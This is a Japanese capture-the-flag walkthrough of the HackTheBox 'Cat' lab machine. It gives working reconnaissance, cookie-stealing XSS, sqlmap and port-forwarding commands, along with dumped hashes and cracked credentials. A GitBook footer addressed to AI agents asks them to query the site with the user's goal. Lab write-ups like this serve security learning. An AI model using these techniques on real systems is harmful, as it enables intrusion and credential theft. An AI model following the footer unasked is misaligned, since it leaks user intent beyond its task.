> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Cat HackTheBox攻略記事ディレクトリファジング（.gitファイル）、ソースコード解析（Gitリポジトリダンプ）、保存型XSSの攻略とセッションハイジャック、SQLインジェクション（SQLite）を用い {% embed url="" %} {% hint style="warning" %} **スキル:** * ディレクトリファジング（.gitファイル） * ソースコード解析（Gitリポジトリのダンプ） * 格納型XSSの悪用とセッションハイジャック * sqlmapを使用したSQLインジェクション（SQLite） * パスワードハッシュのクラック * SSH経由のポートフォワーディング * Gitea（v1.22.0）の悪用 – 格納型XSS * XSSペイロードによる機密データの持ち出し {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート80 - HTTP

にアクセスすると `http://cat.htb` サイトには登録フォームがあります。

投票機能もあります。

**ディレクトリファジング** 次を実行します `gobuster` 隠しパスを見つけます： ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

これにより、次を含むいくつかの興味深いファイルが見つかります： `.git` ディレクトリ。

**Gitリポジトリのダンプ** 次を使用します `git-dumper` リポジトリの内容を取得するために： ```bash git-dumper http://cat.htb/.git git ```

ソースコードを調べると、次のものを特定します： **SQL脆弱性** さらに、次の可能性もあります： **格納型XSS**.

## XSS脆弱性アプリケーションは *username* および *email* 適切なフィルタリングなしでフィールドを受け付けます。これにより悪意のあるスクリプトを注入できます。

**XSSペイロード** 次の名前のユーザーを作成します： ```javascript ``` **管理者のCookieを取得** ポート8081で待ち受けます： ```bash python -m http.server 8081 ```

Cookieが取得できると、管理者セッションを得ます：

セッションCookieを管理者のものに変更し、次へアクセスします **管理コンソール**.

## SQLインジェクション（SQLite）

管理者権限で起動 `sqlmap` 脆弱なフォームで {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**ハッシュの復元** ユーザーのものを取得します **パスワードハッシュ**。例をいくつか示します： ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **パスワードのクラック** を使用する [CrackStation](https://crackstation.net/)、ユーザー `rosa`: {% embed url="" %}

* **username** ：rosa * **パスワード** ：soyunaprincesarosa 取得した認証情報でSSH接続します： ```bash ssh rosa@cat.htb ```

### Axelユーザーへのピボット #### LinPEASによる列挙： ```bash ./linpeas.sh ``` {% embed url="" %} Rosaは `adm` グループに属しているため、次へアクセスできます： ```bash cat /var/log/apache2/access.log | grep "axel" ```

見つかった認証情報： * ユーザー名: axel * パスワード : aNdZwgC4tI9gnVXv/\_e3Q

### フラグ user.txt :)

## 権限昇格 ### 内部ポートの発見： ```bash netstat -tuln ``` * **Node.js** （ポート3000） * **SMTP** (587, 25) 特定されたサービス

#### ポートフォワーディング ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Gitea v1.22.0のXSS脆弱性で `http://localhost:3000` -> **Gitea** にアクセス可能です。

Axelの認証情報でログインします。

既知のXSS脆弱性。

説明に次を含むプロジェクトを作成します： ```bash XSS test ```

* 結果:

### LinPEAS経由で傍受したメール

メール内容： * jobert\@localhost はGiteaリポジトリを確認する必要があります

次の内容を読み取る持ち出しスクリプトを含むXSSリンクを送信します `index.php` Giteaリポジトリのページの内容を読み取り、Base64でエンコードしてから、私たちのWebサーバーへ送信します {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### 私たちのWebサーバー経由で ```bash python -m http.server 8080 ```

#### 持ち出した内容（Base64デコード済み）： ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### root権限への昇格 rootユーザーで認証情報の使い回しがあります ```bash su root ```

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.